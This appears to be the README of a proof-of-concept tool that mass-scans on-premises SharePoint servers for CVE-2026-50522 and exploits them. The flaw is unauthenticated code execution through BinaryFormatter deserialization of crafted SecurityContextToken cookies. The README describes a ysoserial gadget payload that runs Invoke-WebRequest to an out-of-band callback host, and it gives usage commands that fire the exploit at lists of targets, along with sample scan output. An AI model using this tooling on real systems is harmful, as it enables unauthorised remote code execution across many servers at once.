
CVE-2026-50522 PoC
SharePoint Server Unauthenticated Remote Code Execution via SecurityContextToken Cookie Deserialization
Mass-scan exploit for CVE-2026-50522 targeting on-premises Microsoft SharePoint Server. Abuses insecure BinaryFormatter deserialization in the /_trust/default.aspx WS-Federation endpoint to achieve unauthenticated code execution via crafted SecurityContextToken cookies.
Note: This project includes
ysoserial, a known penetration-testing tool, so your antivirus may flag or quarantine it during download.
ysoserial.exe generates a BinaryFormatter serialized payload using TypeConfuseDelegate gadgetInvoke-WebRequest to an out-of-band callback URLSecurityContextToken XML structureRequestSecurityTokenResponse (WS-Federation)wresult parameter is POSTed to /_trust/default.aspxrequests librarypython CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
Path mode (default):
http://YOUR_ID.oastify.com/10.10.10.5
Subdomain mode:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed
| Argument | Description | Default |
|---|
-t, --target | Single target URL | - |
-T, --targets | File with target URLs, one per line | - |
-c, --callback-url | OOB callback base URL (required) | - |
--callback-mode | path or subdomain | path |
--ysoserial | Path to ysoserial.exe | ysoserial.exe |
-x, --proxy | HTTP proxy | none |